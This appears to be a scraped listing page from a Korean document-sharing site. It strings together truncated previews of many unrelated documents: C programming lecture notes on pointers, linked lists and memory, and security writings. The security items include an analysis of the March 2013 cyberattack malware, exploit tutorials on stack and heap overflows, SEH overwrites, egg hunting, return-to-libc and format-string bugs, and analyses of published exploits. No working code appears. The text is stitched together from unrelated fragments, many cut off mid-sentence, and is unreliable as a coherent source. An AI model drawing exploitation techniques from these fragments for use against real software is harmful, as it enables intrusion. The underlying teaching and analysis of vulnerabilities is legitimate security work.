3.20 사이버테러악성코드분석보고서 라온시큐어보안기술연구팀 작성일 : 2013. 03 페이지 : 1/15 Introduction 2013년 3월 20일오후, MBC, KBS, YTN, 농협, 신한은행, 제주은행전산망장애가동시에발생하였다. 피해기관들의호스트약 500여대에오류메시지가화면에나타났으며악성코드에감염된호스트는사용할수없는상태가되었다. 현재까지정확한침투경로가밝혀지지않고있다.
More informationhlogin2
0x02. Stack Corruption off-limit Kernel Stack libc Heap BSS Data Code off-limit Kernel Kernel : OS Stack libc Heap BSS Data Code Stack : libc : Heap : BSS, Data : bss Code : off-limit Kernel Kernel : OS
More informationMicrosoft PowerPoint - chap06-2pointer.ppt
2010-1 학기프로그래밍입문 (1) chapter 06-2 참고자료 포인터 박종혁 Tel: 970-6702 Email: jhpark1@snut.ac.kr 한빛미디어 출처 : 뇌를자극하는 C프로그래밍, 한빛미디어 -1- 포인터의정의와사용 변수를선언하는것은메모리에기억공간을할당하는것이며할당된이후에는변수명으로그기억공간을사용한다. 할당된기억공간을사용하는방법에는변수명외에메모리의실제주소값을사용하는것이다.
More informationFrama-C/JESSIS 사용법 소개
Frama-C 프로그램검증시스템소개 박종현 @ POSTECH PL Frama-C? C 프로그램대상정적분석도구 플러그인구조 JESSIE Wp Aorai Frama-C 커널 2 ROSAEC 2011 동계워크샵 @ 통영 JESSIE? Frama-C 연역검증플러그인 프로그램분석 검증조건추출 증명 Hoare 논리에기초한프로그램검증도구 사용법 $ frama-c jessie
More information본문서는 Syngress 의 Writing Security Tools and Exploits Chap11 을요약정리한 것입니다. 참고로 Chap 10 ~ 12 까지가 Metasploit 에대한설명입니다. Metasploit Framework 활용법 1. Metasplo
본문서는 Syngress 의 Writing Security Tools and Exploits Chap11 을요약정리한 것입니다. 참고로 Chap 10 ~ 12 까지가 Metasploit 에대한설명입니다. Metasploit Framework 활용법 1. Metasploit Framework(MSF) 이란? bluearth in N@R 2003년오픈소스로발표된취약점발견및공격을위한
More information이번장에서학습할내용 동적메모리란? malloc() 와 calloc() 연결리스트 파일을이용하면보다많은데이터를유용하고지속적으로사용및관리할수있습니다. 2
제 17 장동적메모리와연결리스트 유준범 (JUNBEOM YOO) Ver. 2.0 jbyoo@konkuk.ac.kr http://dslab.konkuk.ac.kr 본강의자료는생능출판사의 PPT 강의자료 를기반으로제작되었습니다. 이번장에서학습할내용 동적메모리란? malloc() 와 calloc() 연결리스트 파일을이용하면보다많은데이터를유용하고지속적으로사용및관리할수있습니다.
More information<B1E2BCFAB9AEBCAD5FB9DABAB4B1D45F F F64746F72732E687770>
기술문서 09. 11. 3. 작성 Format String Bug 에서 dtors 우회 작성자 : 영남대학교 @Xpert 박병규 preex@ynu.ac.kr 1. 요약... 2 2. d to r 이란... 3 3. 포맷스트링... 4 4. ro o t 권한획득... 7 5. 참고자료... 1 0-1 - 1. 요약 포맷스트링버그 (Format String bug)
More informationMicrosoft PowerPoint - a10.ppt [호환 모드]
Structure Chapter 10: Structures t and Macros Structure 관련된변수들의그룹으로이루어진자료구조 template, pattern field structure를구성하는변수 (cf) C언어의 struct 프로그램의 structure 접근 entire structure 또는 individual fields Structure는
More informationMicrosoft Word - MSOffice_WPS_analysis.doc
MS Office.WPS File Stack Overflow Exploit 분석 (http://milw0rm.com/ 에공개된 exploit 분석 ) 2008.03.03 v0.5 By Kancho ( kancholove@gmail.com, www.securityproof.net ) milw0rm.com에 2008년 2월 13일에공개된 Microsoft Office.WPS
More information11장 포인터
누구나즐기는 C 언어콘서트 제 9 장포인터 이번장에서학습할내용 포인터이란? 변수의주소 포인터의선언 간접참조연산자 포인터연산 포인터와배열 포인터와함수 이번장에서는포인터의기초적인지식을학습한다. 포인터란? 포인터 (pointer): 주소를가지고있는변수 메모리의구조 변수는메모리에저장된다. 메모리는바이트단위로액세스된다. 첫번째바이트의주소는 0, 두번째바이트는 1, 변수와메모리
More informationChapter 4. LISTS
C 언어에서리스트구현 리스트의생성 struct node { int data; struct node *link; ; struct node *ptr = NULL; ptr = (struct node *) malloc(sizeof(struct node)); Self-referential structure NULL: defined in stdio.h(k&r C) or
More informationLab 3. 실습문제 (Single linked list)_해답.hwp
Lab 3. Singly-linked list 의구현 실험실습일시 : 2009. 3. 30. 담당교수 : 정진우 담당조교 : 곽문상 보고서제출기한 : 2009. 4. 5. 학과 : 학번 : 성명 : 실습과제목적 : 이론시간에배운 Singly-linked list를실제로구현할수있다. 실습과제내용 : 주어진소스를이용해 Singly-linked list의각함수를구현한다.
More information<4D F736F F F696E74202D204B FC7C1B7CEB1D7B7A55F F6E48616E646C6572B8A6C5EBC7D1BFA1B7AFB0CBC3E2B9D7BCF6C1A
강연소개 Exception Handler 를통한에러검출및수정 디버깅을즐겨하십니까..? 에러를만나면반갑습니까..? 전화로버그보고를받았나요..? 잡히지않는버그!!!! 따분한강의 졸아도좋습니다!!!! 강연자소개 테스터 온라인게임클라이언트개발 로컬라이즈및해외지원업무 디버깅, 최적화, 호환성향상에관심 강연대상 x86 환경에서 Windows 프로그래밍 디버깅 / 에러추적은
More informationMicrosoft Word - Heap_Spray.doc
Heap Spray 본문서는 최근 웹 브라우저를 이용한 공격에 사용되는 Heap Spray 기법에 대한 내용을 수록하였다. 관련 내용에 대하여 많은 도움이 되기 바란다. 문서 내용은 초보자도 쉽게 이해할 수 있도록 관련 내용에 대한 설명을 포함하였다. Hacking Group OVERTIME force< forceteam01@gmail.com > 2007.05.13
More informationMicrosoft PowerPoint - chap02-C프로그램시작하기.pptx
#include int main(void) { int num; printf( Please enter an integer "); scanf("%d", &num); if ( num < 0 ) printf("is negative.\n"); printf("num = %d\n", num); return 0; } 1 학습목표 을 작성하면서 C 프로그램의
More information금오공대 컴퓨터공학전공 강의자료
C 프로그래밍프로젝트 Chap 14. 포인터와함수에대한이해 2013.10.09. 오병우 컴퓨터공학과 14-1 함수의인자로배열전달 기본적인인자의전달방식 값의복사에의한전달 val 10 a 10 11 Department of Computer Engineering 2 14-1 함수의인자로배열전달 배열의함수인자전달방식 배열이름 ( 배열주소, 포인터 ) 에의한전달 #include
More informationChapter #01 Subject
Device Driver March 24, 2004 Kim, ki-hyeon 목차 1. 인터럽트처리복습 1. 인터럽트복습 입력검출방법 인터럽트방식, 폴링 (polling) 방식 인터럽트서비스등록함수 ( 커널에등록 ) int request_irq(unsigned int irq, void(*handler)(int,void*,struct pt_regs*), unsigned
More informationEureka Mail Client_v2.2.q를이용하여오믈렛에그헌팅에대하여알아볼것이다. 익스플로잇을위해구성된환경은아래와같다. - Windows XP Professional SP3 KOR - Python Ollydbg 1.x, Immunity Debugg
익스플로잇실습 / 튜토리얼 Eureka Mail Client 2.2q Omelet Egg Hunting By WraithOfGhost Eureka Mail Client_v2.2.q를이용하여오믈렛에그헌팅에대하여알아볼것이다. 익스플로잇을위해구성된환경은아래와같다. - Windows XP Professional SP3 KOR - Python 2.7.10 - Ollydbg
More informationMicrosoft Word - GOM-StackOverFlow.doc
GOM Player 2.0.12 (.ASX) Stack Overflow Exploit Document V0.2 HACKING GROUP OVERTIME OVERTIME mrboo< bsh7983@gmail.com > 2009.01.10 이문서는 2009.01.08일자로 milw0rm에 DATA_SNIPER께서등록한곰플레이어관련 exploit을분석한문서이다.
More informationC# Programming Guide - Types
C# Programming Guide - Types 최도경 lifeisforu@wemade.com 이문서는 MSDN 의 Types 를요약하고보충한것입니다. http://msdn.microsoft.com/enus/library/ms173104(v=vs.100).aspx Types, Variables, and Values C# 은 type 에민감한언어이다. 모든
More information제 14 장포인터활용 유준범 (JUNBEOM YOO) Ver 본강의자료는생능출판사의 PPT 강의자료 를기반으로제작되었습니다.
제 14 장포인터활용 유준범 (JUNBEOM YOO) Ver. 2.0 jbyoo@konkuk.ac.kr http://dslab.konkuk.ac.kr 본강의자료는생능출판사의 PPT 강의자료 를기반으로제작되었습니다. 이번장에서학습할내용 이중포인터란무엇인가? 포인터배열 함수포인터 다차원배열과포인터 void 포인터 포인터는다양한용도로유용하게활용될수있습니다. 2 이중포인터
More information<4D F736F F F696E74202D20C1A637C0E52DB0EDB1DEBFACB0E1B8AEBDBAC6AE2E >
제 7 강의. 고급연결리스트 1. 원형연결리스트 2. 이중연결리스트 3. 연결리스트알고리즘 1 1. 원형연결리스트 (Circularly Linked Lists) 원형연결리스트란? 연결리스트의맨끝노드를첫번째노드와연결시켜서원형으로만든리스트 단순연결리스트 (Singly Linked List) 불편한점 - 연결리스트의노드포인터를알고있을때첫번째노드는바로찾아갈수있지만마지막노드는리스트전체를따라가면서끝을찾아가야한다
More informationHeap Overflow By WraithOfGhost
Heap Overflow - 103 By WraithOfGhost 시간이지남에따라잊혀지지않았으면하는힙공격을위한매우중요한 기법을설명하고자한다. 지금까지다룬문서의내용을간단하게정리하면 다음과같다. Heap Overflows 101 [ Windows XP SP1 이하환경에서의기본적인힙오버플로우 ] - 기본적인 unlink() 공격 + 함수포인터덮어쓰기 - 처리되지않은예외필터이용
More informationMicrosoft Word - FunctionCall
Function all Mechanism /* Simple Program */ #define get_int() IN KEYOARD #define put_int(val) LD A val \ OUT MONITOR int add_two(int a, int b) { int tmp; tmp = a+b; return tmp; } local auto variable stack
More informationHeap Overflow By WraithOfGhost
Heap Overflow - 102 By WraithOfGhost 이전문서에서 unlink 프로세스가어떻게동작되는지, FreeLists[n] 의 Flink/Blink 를이용해공격자가어떻게 4 바이트값을덮어쓰는지보여주기 위해 Windows XP SP1 환경에서힙오버플로우익스플로잇방법을다루었다. 이번문서의목표는자신스스로를다시한번교육 ( 혹시나잊어버렸을까봐 ) 시키고보안전문가들이힙매니저가
More informationActFax 4.31 Local Privilege Escalation Exploit
NSHC 2013. 01. 14. 취약점분석보고서 Information Service about a new vulnerability Version 1.0 [ ] 2012 Red Alert. All Rights Reserved. 목차 1. 개요... 3 2. 공격... 4 3. 분석... 8 4. 결론... 12 5. 대응방안... 12 6. 참고자료... 13
More informationEureka Mail Client_v2.2.q를이용하여에그헌팅에대하여알아볼것이다. 익스플로잇을위해구성된환경은아래와같다. - Windows XP Professional SP3 KOR - Python Ollydbg 1.x, Immunity Debugger
익스플로잇실습 / 튜토리얼 Eureka Mail Client 2.2q Egg Hunting By WraithOfGhost Eureka Mail Client_v2.2.q를이용하여에그헌팅에대하여알아볼것이다. 익스플로잇을위해구성된환경은아래와같다. - Windows XP Professional SP3 KOR - Python 2.7.10 - Ollydbg 1.x, Immunity
More informationReturn-to-libc
Return-to-libc Mini (skyclad0x7b7@gmail.com) 2015-08-22 - INDEX - 1. 개요... - 2-1-1. 서문... - 2-1-2. RTL 공격이란... - 2 - 보호기법... - 3 - Libc 란?... - 4-2. RTL 공격... - 4-2-1. 취약한코드... - 4-2-2. 분석... - 5-2-3.
More informationMicrosoft PowerPoint - chap03-변수와데이터형.pptx
#include int main(void) { int num; printf( Please enter an integer: "); scanf("%d", &num); if ( num < 0 ) printf("is negative.\n"); printf("num %d\n", num); return 0; } 1 학습목표 의 개념에 대해 알아본다.
More informationPowerPoint Template
10 포인터 1 주소 Address( 주소 ) 메모리에는그메모리의저장장소의위치를나타내는주소값 주소 (address) 는 1 바이트마다 1 씩증가하도록메모리에는연속적인번호가구성 2 주소연산자 & & 변수 변수의주소값을알아내려면변수앞에주소연산자 & (ampersand) 를이용 주소값이용장단점 주소값을이용하면보다편리하고융통성있는프로그램이가능 그러나복잡하고어려운단점
More informationReusing Dynamic Linker For Exploitation Author : Date : 2012 / 05 / 13 Contact : Facebook : fb.me/kwonpwn
Reusing Dynamic Linker For Exploitation Author : pwn3r @ B10S @WiseGuyz Date : 2012 / 05 / 13 Contact : austinkwon2@gmail.com Facebook : fb.me/kwonpwn3r Abstract 대부분의 Unix 에선공유라이브러리를메모리에로드하고프로그램과 link
More informationMicrosoft PowerPoint - chap06-5 [호환 모드]
2011-1 학기프로그래밍입문 (1) chapter 06-5 참고자료 변수의영역과데이터의전달 박종혁 Tel: 970-6702 Email: jhpark1@seoultech.ac.kr h k 한빛미디어 출처 : 뇌를자극하는 C프로그래밍, 한빛미디어 -1- ehanbit.net 자동변수 지금까지하나의함수안에서선언한변수는자동변수이다. 사용범위는하나의함수내부이다. 생존기간은함수가호출되어실행되는동안이다.
More informationC 언어 강의노트
C언어 (CSE2035) (15-1 Lists) Linear list 의구성, Insertion, deletion 윤용운, Ph.D. Dept. of Computer Science and Engineering Sogang University Seoul, Korea Tel: 010-3204-6811 Email : yuyoon0@sogang.ac.kr 2018-01-11
More information3.20 테러 악성코드바이너리분석 손충호 (StolenByte) WOWHACKER Group 해당문서는 WOWHACKER Group 의문서이므로, 무단도용및수 정및변조는할수없습니다. 페이지 1 / 20
3.20 테러 악성코드바이너리분석 손충호 (StolenByte) stolenbyte@wowhacker.org WOWHACKER Group 2013-03-20 해당문서는 WOWHACKER Group 의문서이므로, 무단도용및수 정및변조는할수없습니다. 페이지 1 / 20 전체적인공격프로세스 페이지 2 / 20 1. 바이너리가사용할 LoadLibrary 하여함수 Load
More informationBMP 파일 처리
BMP 파일처리 김성영교수 금오공과대학교 컴퓨터공학과 학습내용 영상반전프로그램제작 2 Inverting images out = 255 - in 3 /* 이프로그램은 8bit gray-scale 영상을입력으로사용하여반전한후동일포맷의영상으로저장한다. */ #include #include #define WIDTHBYTES(bytes)
More information취약점분석보고서 [Elecard AVC_HD/MPEG Player 5.7 Buffer Overflow] RedAlert Team 봉용균
취약점분석보고서 [Elecard AVC_HD/MPEG Player 5.7 Buffer Overflow] 2012-08-02 RedAlert Team 봉용균 목 차 1. 개요... 1 1.1. 배경... 1 1.2. 요약... 1 1.3. 정보... 1 1.4. 대상시스템... 1 2. 공격... 2 2.1. 시나리오... 2 2.2. 대상프로그램... 2 2.3.
More informationMicrosoft Word - Static analysis of Shellcode.doc
Static analysis of Shellcode By By Maarten Van Horenbeeck 2008.09.03 2008.09.03 본문서에서는악성코드에서사용하는난독화되어있는쉘코드 를분석하는방법에대한 Maarten Van Horenbeeck 의글을번역 한것이다. Hacking Group OVERTIME OVERTIME force
More informationPowerPoint 프레젠테이션
System Software Experiment 1 Lecture 5 - Array Spring 2019 Hwansoo Han (hhan@skku.edu) Advanced Research on Compilers and Systems, ARCS LAB Sungkyunkwan University http://arcs.skku.edu/ 1 배열 (Array) 동일한타입의데이터가여러개저장되어있는저장장소
More informationLab 4. 실습문제 (Circular singly linked list)_해답.hwp
Lab 4. Circular singly-linked list 의구현 실험실습일시 : 2009. 4. 6. 담당교수 : 정진우 담당조교 : 곽문상 보고서제출기한 : 2009. 4. 12. 학과 : 학번 : 성명 : 실습과제목적 : 이론시간에배운 Circular Singly-linked list를실제로구현할수있다. 실습과제내용 : 주어진소스를이용해 Circular
More informationEvernote Export
Exploit writing tutorial part 1 : Stack Based Overflows ** 번역목적 - 이 Article 은 corelan.be 에있는버퍼오버플로우에관한문서이다. 총 11 개의 Article 로구성되어있으며, 과연언제까지번역작업을할지모르겠다. -_-; 오역은원문을보시면서알아서해석하시기바란다. 영어공부및 BOF 개념이해목적으로번역
More information문서개정이력 개정번호개정사유및내용개정일자 1.0 최초작성 본문서는원문작성자 (Peter Van Eeckhoutte) 의허가하에번역및배포하는문서로, 원문과관련된모든내용의저작권은 Corelan에있으며, 추가된내용에대해서는 ( 주 ) 한국정보보호교육센터에
문서번호 13-VN-06 공격코드작성따라하기 ( 원문 : 공격코드 Writing Tutorial 4) 2013.1 작성자 : ( 주 ) 한국정보보호교육센터서준석주임연구원 오류신고및관련문의 : nababora@naver.com 문서개정이력 개정번호개정사유및내용개정일자 1.0 최초작성 2013.01.31 본문서는원문작성자 (Peter Van Eeckhoutte)
More informationCogame 취약점 보고
Frist Version: 2006. 01. 07 Last Version: 2006. 01. 19 anesra@{null2root.org, gmail.com Table of Contents 1. 기본개념과도구...3 1.1 윈도우쉘코드... 3 1.2 윈도우메모리 LAYOUT... 4 1.3 레지스터... 4 1.4 기본어셈블리어명령어... 4 2. 쉘코드만들기...6
More information기초컴퓨터프로그래밍
구조체 #include int main() { } printf("structure\n"); printf("instructor: Keon Myung Lee\n"); return 0; 내용 구조체 (struct) Typedef 공용체 (union) 열거형 (enum) 구조체 구조체 (structure) 어떤대상을표현하는서로연관된항목 ( 변수 )
More informationMicrosoft PowerPoint - Lecture_Note_7.ppt [Compatibility Mode]
Unix Process Department of Computer Engineering Kyung Hee University. Choong Seon Hong 1 유닉스기반다중서버구현방법 클라이언트들이동시에접속할수있는서버 서비스를동시에처리할수있는서버프로세스생성을통한멀티태스킹 (Multitasking) 서버의구현 select 함수에의한멀티플렉싱 (Multiplexing)
More information<4D F736F F F696E74202D20C1A63137C0E520B5BFC0FBB8DEB8F0B8AEBFCD20BFACB0E1B8AEBDBAC6AE>
쉽게풀어쓴 C 언어 Express 제 17 장동적메모리와연결리스트 이번장에서학습할내용 동적메모리할당의이해 동적메모리할당관련함수 연결리스트 동적메모리할당에대한개념을이해하고응용으로연결리스트를학습합니다. 동적할당메모리의개념 프로그램이메모리를할당받는방법 정적 (static) 동적 (dynamic) 정적메모리할당 정적메모리할당 프로그램이시작되기전에미리정해진크기의메모리를할당받는것
More information0x00 Contents 0x About Nickster 0x Analaysis 0x Exploit
Defcon CTF 17 th Nickster Report StolenByte(Son Choong-Ho) http://stolenbyte.egloos.com thscndgh_4@hotmail.com WOWHACKER 2009. 08. 09 0x00 Contents 0x01 ------------- About Nickster 0x02 -------------
More information<4D F736F F F696E74202D20C1A63132B0AD20B5BFC0FB20B8DEB8F0B8AEC7D2B4E7>
제14장 동적 메모리 할당 Dynamic Allocation void * malloc(sizeof(char)*256) void * calloc(sizeof(char), 256) void * realloc(void *, size_t); Self-Referece NODE struct selfref { int n; struct selfref *next; }; Linked
More informationKNK_C_05_Pointers_Arrays_structures_summary_v02
Pointers and Arrays Structures adopted from KNK C Programming : A Modern Approach 요약 2 Pointers and Arrays 3 배열의주소 #include int main(){ int c[] = {1, 2, 3, 4}; printf("c\t%p\n", c); printf("&c\t%p\n",
More information설계란 무엇인가?
금오공과대학교 C++ 프로그래밍 jhhwang@kumoh.ac.kr 컴퓨터공학과 황준하 5 강. 배열, 포인터, 참조목차 배열 포인터 C++ 메모리구조 주소연산자 포인터 포인터연산 배열과포인터 메모리동적할당 문자열 참조 1 /20 5 강. 배열, 포인터, 참조배열 배열 같은타입의변수여러개를하나의변수명으로처리 int Ary[10]; 총 10 개의변수 : Ary[0]~Ary[9]
More information목차 포인터의개요 배열과포인터 포인터의구조 실무응용예제 C 2
제 8 장. 포인터 목차 포인터의개요 배열과포인터 포인터의구조 실무응용예제 C 2 포인터의개요 포인터란? 주소를변수로다루기위한주소변수 메모리의기억공간을변수로써사용하는것 포인터변수란데이터변수가저장되는주소의값을 변수로취급하기위한변수 C 3 포인터의개요 포인터변수및초기화 * 변수데이터의데이터형과같은데이터형을포인터 변수의데이터형으로선언 일반변수와포인터변수를구별하기위해
More informationMicrosoft Word - SEH_Overwrites_Simplified.doc
SEH Overwrites Simplified v1.01 1 Date : 2007. 10. 29 저자 : Aelphaeis Mangarae 편역 : Kancho ( kancholove@gmail.com, www.securityproof.net ) 머리말 이문서는 Stack 다이어그램을이용하여두개의다른 Windows 플랫폼에서의 SEH Overwrite를다룹니다.
More informationPowerPoint 프레젠테이션
Chapter 10 포인터 01 포인터의기본 02 인자전달방법 03 포인터와배열 04 포인터와문자열 변수의주소를저장하는포인터에대해알아본다. 함수의인자를값과주소로전달하는방법을알아본다. 포인터와배열의관계를알아본다. 포인터와문자열의관계를알아본다. 1.1 포인터선언 포인터선언방법 자료형 * 변수명 ; int * ptr; * 연산자가하나이면 1 차원포인터 1 차원포인터는일반변수의주소를값으로가짐
More informationMicrosoft Word - ANI 취약점.doc
ANI 취약점 (MS07-017) 본문에서는최근 Windows.ani 에대한취약점으로 2006 년에이 어다시한번취약점이나타나면서마소에서핫픽스까지제공한 최근이슈가되었던취약점에대한분석이다. Hacking Group OVERTIME crash 2007.10.10 1. 취약점설명 해당취약점은조작된 ANI 파일에대하여 Windows
More informationNo Slide Title
Copyright, 2017 Multimedia Lab., UOS 시스템프로그래밍 (Assembly Code and Calling Convention) Seong Jong Choi chois@uos.ac.kr Multimedia Lab. Dept. of Electrical and Computer Eng. University of Seoul Seoul, Korea
More information임베디드시스템설계강의자료 6 system call 2/2 (2014 년도 1 학기 ) 김영진 아주대학교전자공학과
임베디드시스템설계강의자료 6 system call 2/2 (2014 년도 1 학기 ) 김영진 아주대학교전자공학과 System call table and linkage v Ref. http://www.ibm.com/developerworks/linux/library/l-system-calls/ - 2 - Young-Jin Kim SYSCALL_DEFINE 함수
More informationhow_2_write_Exploit_4_the_MSF_v3.x.hwp
Metasploit v3.0 을이용한 Exploit 작성하기 2008.1.18 본문서는 Jerome 님의 Writing Windows Exploits 을기반으로작성된문서임을밝힙니다. rich4rd rich4rd.lim@gmail.com - 1 - 목차. 1. 소개및개요 2. 배경지식 3. Exploit module 실습 3.1 Exploit module 수정하기
More informationPowerPoint 프레젠테이션
Text-LCD Device Control - Device driver Jo, Heeseung M3 모듈에장착되어있는 Tedxt LCD 장치를제어하는 App 을개발 TextLCD 는영문자와숫자일본어, 특수문자를표현하는데사용되는디바이스 HBE-SM5-S4210 의 TextLCD 는 16 문자 *2 라인을 Display 할수있으며, 이 TextLCD 를제어하기위하여
More information1.hwp
윈도우 멀티미디어 취약점 분석 방법론 연구 수탁기관 : 한양대학교 산학협력단 2009. 09 25,000 2008 2009(1~8월 ) 20,000 15,000 11,818 10,000 5,000-11,362 3,344 2,756 603 173 2-366 165 1 1 기업 대학 비영리 연구소 네트워크 기타(개인)
More informationPowerPoint Template
18 동적할당과고급처리 인터넷정보과 1 2/19 동적할당 목적 다음과같은일반변수의선언과사용은변수를정적 (static) 으로사용 int a = 10; 메모리사용예측이부정확한경우는충분한메모리를미리확보해야하는것은비효율 동적 (dynamic) 메모리할당 (Memory Allocation) 동적인메모리할당을위해서는함수 malloc() 을이용, 메모리공간을확보 함수 malloc()
More informationMicrosoft PowerPoint - 8ÀÏ°_Æ÷ÀÎÅÍ.ppt
포인터 1 포인터란? 포인터 메모리의주소를가지고있는변수 메모리주소 100번지 101번지 102번지 103번지 int theage (4 byte) 변수의크기에따라 주로 byte 단위 주소연산자 : & 변수의주소를반환 메모리 2 #include list 8.1 int main() using namespace std; unsigned short
More information구조체정의 자료형 (data types) 기본자료형 (primitive data types) : char, int, float 등과같이 C 언어에서제공하는자료형. 사용자정의자료형 (user-defined data types) : 다양한자료형을묶어서목적에따라새로운자료형을
(structures) 구조체정의 구조체선언및초기화 구조체배열 구조체포인터 구조체배열과포인터 구조체와함수 중첩된구조체 구조체동적할당 공용체 (union) 1 구조체정의 자료형 (data types) 기본자료형 (primitive data types) : char, int, float 등과같이 C 언어에서제공하는자료형. 사용자정의자료형 (user-defined
More information02 C h a p t e r Java
02 C h a p t e r Java Bioinformatics in J a va,, 2 1,,,, C++, Python, (Java),,, (http://wwwbiojavaorg),, 13, 3D GUI,,, (Java programming language) (Sun Microsystems) 1995 1990 (green project) TV 22 CHAPTER
More informationExploit writing tutorials
EXPLOIT WRITING TUTORIALS C1 STACK BASED BUFFER OVERFLOW KIM DONG HYUN WHATTEAM & LET S CQ & KOREA IT TECHNICAL SCHOOL rlaehdgus213@naver.com 페이지 0 / 24 Exploit writing tutorials C1 Stack Based Buffer
More information목 차 1. 개요 취약점분석추진배경 취약점요약 취약점정보 취약점대상시스템목록 분석 공격기법및기본개념 시나리오 공격코드
취약점분석보고서 [Aviosoft Digital TV Player Professional 1.x Stack Buffer Overflow] 2012-08-08 RedAlert Team 강동우 목 차 1. 개요... 1 1.1. 취약점분석추진배경... 1 1.2. 취약점요약... 1 1.3. 취약점정보... 1 1.4. 취약점대상시스템목록... 1 2. 분석...
More informationMicrosoft PowerPoint - a6.ppt [호환 모드]
이장의내용 6 장조건부처리 부울과비교명령어 조건부점프 조건부루프명령어 조건부구조 컴퓨터정보통신 어셈블리언어 2 6.2 부울과비교명령어 부울명령어 Instructions ti 동작 AND dst, src OR dst, src XOR dst, src NOT dst dst dst AND src dst dst OR src dst dst XOR src dst NOT
More informationPowerPoint Presentation
객체지향프로그래밍 오류처리 손시운 ssw5176@kangwon.ac.kr 오류메시지를분석한다. 오류메시지에서많은내용을알수있다. 2 디버깅 디버거를사용하면프로그램에서쉽게오류를감지하고진단할수있다. 디버거는중단점을설정하여서프로그램의실행을제어할수있으며문장 단위로실행하거나변수의값을살펴볼수있다. 3 이클립스에서디버깅 4 이클립스에서디버깅 5 이클립스의디버깅명령어 6 예외처리
More informationMicrosoft PowerPoint - 제11장 포인터(강의)
쉽게풀어쓴 C 언어 Express 제 11 장포인터 이번장에서학습할내용 포인터이란? 변수의주소 포인터의선언 간접참조연산자 포인터연산 포인터와배열 포인터와함수 이번장에서는포인터의기초적인지식을학습한다. 포인터란? 포인터 (pointer): 주소를가지고있는변수 1003 1004 1005 영화관 1002 1006 1001 포인터 (pointer) 1007 메모리의구조
More information취약점분석보고서 Simple Web Server 2.2 rc2 Remote Buffer Overflow Exploit RedAlert Team 안상환
취약점분석보고서 Simple Web Server 2.2 rc2 Remote Buffer Overflow Exploit 2012-07-19 RedAlert Team 안상환 목 차 1. 개요... 1 1.1. 취약점분석추진배경... 1 2. Simple Web Server 취약점... 2 2.1. Simple Web Server 취약점개요... 2 2.2. Simple
More information<C6F7C6AEB6F5B1B3C0E72E687770>
1-1. 포트란 언어의 역사 1 1-2. 포트란 언어의 실행 단계 1 1-3. 문제해결의 순서 2 1-4. Overview of Fortran 2 1-5. Use of Columns in Fortran 3 1-6. INTEGER, REAL, and CHARACTER Data Types 4 1-7. Arithmetic Expressions 4 1-8. 포트란에서의
More information03_queue
Queue Data Structures and Algorithms 목차 큐의이해와 ADT 정의 큐의배열기반구현 큐의연결리스트기반구현 큐의활용 덱 (Deque) 의이해와구현 Data Structures and Algorithms 2 큐의이해와 ADT 정의 Data Structures and Algorithms 3 큐 (Stack) 의이해와 ADT 정의 큐는 LIFO(Last-in,
More information2015 CodeGate 풀이보고서 김성우 1. systemshock strcat(cmd, argv[1]); 에서스택버퍼오버플로우가발생합니다
2015 CodeGate 풀이보고서 김성우 rkwk0112@gmail.com http://cd80.tistory.com 1. systemshock strcat(cmd, argv[1]); 에서스택버퍼오버플로우가발생합니다 argv[1] 의주소는스택에있으므로 cmd부터버퍼를오버플로우시켜 argv[1] 이저장된주소까지접근이가능하면 strlen(argv[1]); 시
More information61 62 63 64 234 235 p r i n t f ( % 5 d :, i+1); g e t s ( s t u d e n t _ n a m e [ i ] ) ; if (student_name[i][0] == \ 0 ) i = MAX; p r i n t f (\ n :\ n ); 6 1 for (i = 0; student_name[i][0]!= \ 0&&
More informationMicrosoft PowerPoint - CSharp-10-예외처리
10 장. 예외처리 예외처리개념 예외처리구문 사용자정의예외클래스와예외전파 순천향대학교컴퓨터학부이상정 1 예외처리개념 순천향대학교컴퓨터학부이상정 2 예외처리 오류 컴파일타임오류 (Compile-Time Error) 구문오류이기때문에컴파일러의구문오류메시지에의해쉽게교정 런타임오류 (Run-Time Error) 디버깅의절차를거치지않으면잡기어려운심각한오류 시스템에심각한문제를줄수도있다.
More information06장.리스트
---------------- DATA STRUCTURES USING C ---------------- CHAPTER 리스트 1/28 리스트란? 리스트 (list), 선형리스트 (linear list) 순서를가진항목들의모임 집합 : 항목간의순서의개념이없음 리스트의예 요일 : ( 일요일, 월요일,, 토요일 ) 한글자음의모임 : ( ㄱ, ㄴ,, ㅎ ) 카드 :
More informationMicrosoft Word - UFuz3 분석.doc
파일퍼저 UFuz3 분석 이용일 (foryou2008@nate.com) 2008-07-26 0. 개요 UFuz3 는 eeye 에서공개한파일퍼저입니다. UFuz3 의기능분석및상세분석을통해, 퍼저는어떤모 습을갖추고있는지, 또한퍼저는내부적으로어떤방식으로동작하는지살펴보려고합니다. 1. 기능분석 UFuz3 는파일을파싱하는루틴내에 Integer Overflow 가존재하는지를검사합니다.
More information02.Create a shellcode that executes "/bin/sh" Excuse the ads! We need some help to keep our site up. List Create a shellcode that executes "/bin/sh" C
02.Create a shellcode that executes "/bin/sh" Excuse the ads! We need some help to keep our site up. List Create a shellcode that executes "/bin/sh" C language Assembly code Change permissions(seteuid())
More informationMicrosoft Word - [Windows Hook] 6.HideProcess.doc
Hide Process Last Update : 2007 년 6 월 11 일 Written by Jerald Lee Contact Me : lucid78@gmail.com 본문서는 SSDT Hook을이용한프로세스를감추는기술에대해정리한것입니다. 제가알고있는지식이너무짧아가급적이면다음에언제보아도쉽게이해할수있도록쓸려고노력하였습니다. 기존에나와있는여러훌륭한문서들을토대로짜집기의형태로작성되었으며기술하지못한원문저자들에게매우죄송할따름입니다.
More informationComputer Security Chapter 08. Format String 김동진 1 Secure Software Lab.
Computer Security Chapter 08. Format Strig 김동진 (kdjorag@gmail.com) http://securesw.dakook.ac.kr/ 1 목차 Format Strig Attack? Format Strig? Format Strig Attack 의원리 입력코드생성 Format Strig Attack (kerel v2.2,
More information